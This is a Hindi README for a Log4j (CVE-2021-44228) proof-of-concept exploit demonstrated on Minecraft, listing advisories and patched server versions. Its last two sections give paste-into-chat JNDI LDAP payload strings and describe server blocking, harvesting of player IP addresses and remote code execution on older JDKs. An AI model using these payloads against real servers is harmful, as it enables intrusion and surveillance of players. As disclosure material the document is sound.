लॉग4जे (CVE-2021-44228) के लिए प्रूफ ऑफ कॉन्सेप्ट

अस्वीकरण

यह परियोजना केवल शैक्षिक उद्देश्यों के लिए है।

---

परिचय

यह लॉग4जे आरसीई का एक प्रूफ ऑफ कॉन्सेप्ट है जिसे HyCraftHD से अनुकूलित किया गया है।

यहाँ CVE-2021-44228 के लिए कुछ लिंक हैं:

• https://www.lunasec.io/docs/blog/log4j-zero-day
• https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
• https://github.com/apache/logging-log4j2/pull/608
• https://www.youtube.com/watch?v=JPGola6BamU

यह बग लगभग सभी log4j2 और शायद log4j1 संस्करणों को प्रभावित करता है। उपयोग करने के लिए अनुशंसित संस्करण 2.15.0 है जो एक्सप्लॉइट को ठीक करता है।

माइनक्राफ्ट के साथ प्रदर्शन (जो log4j2 का उपयोग करता है)

• माइनक्राफ्ट पर प्रभाव के विवरण यहाँ सूचीबद्ध हैं: https://twitter.com/slicedlime/status/1469150993527017483
• माइनक्राफ्ट का लेख यहाँ है: https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
• ठीक किए गए माइनक्राफ्ट फोर्ज संस्करण: https://twitter.com/gigaherz/status/1469331288368861195
• माइनक्राफ्ट फोर्ज से विस्तृत लेख: https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
• ठीक किए गए माइनक्राफ्ट फैब्रिक संस्करण: https://twitter.com/slicedlime/status/1469192689904193537
• ठीक किए गए माइनक्राफ्ट पेपर संस्करण: https://twitter.com/aurora_smiles_/status/1469205803232026625
• ठीक किए गए माइनक्राफ्ट स्पिगॉट संस्करण: https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
• ठीक किए गए माइनक्राफ्ट स्पॉन्ज संस्करण: https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196

लैग या सीरियलाइज़्ड डेटा भेजना

• चैट में ${jndi:ldap://127.0.0.1/e} पेस्ट करें। यदि पोर्ट 389 पर एक खुला सॉकेट है तो logj4 कनेक्ट करने का प्रयास करता है और टाइमआउट होने तक आगे संचार को ब्लॉक करता है।
• इस प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट का उपयोग करने पर, कंसोल में लॉग THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT! लॉग करेगा जो ldap सर्वर से एक सीरियलाइज़्ड स्ट्रिंग ऑब्जेक्ट है।

• इसके अतिरिक्त, दुर्भावनापूर्ण ldap सर्वर हर आईपी पता प्राप्त करता है जहाँ संदेश लॉग किया जाता है। इसका मतलब है कि सर्वर पर खिलाड़ियों के आईपी पते एकत्र किए जा सकते हैं जो इस एक्सप्लॉइट के द्वारा।

आरसीई

• चैट में ${jndi:ldap://127.0.0.1/exe} पेस्ट करें। यदि -Dcom.sun.jndi.ldap.object.trustURLCodebase=true को true पर सेट किया जाता है तो रिमोट कोड एक्सीक्यूशन होगा।

• सौभाग्य से आधुनिक jdks डिफ़ॉल्ट रूप से रिमोट क्लास लोडिंग को अक्षम करते हैं। (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
• पुराने संस्करण अभी भी इसकी अनुमति दे सकते हैं!!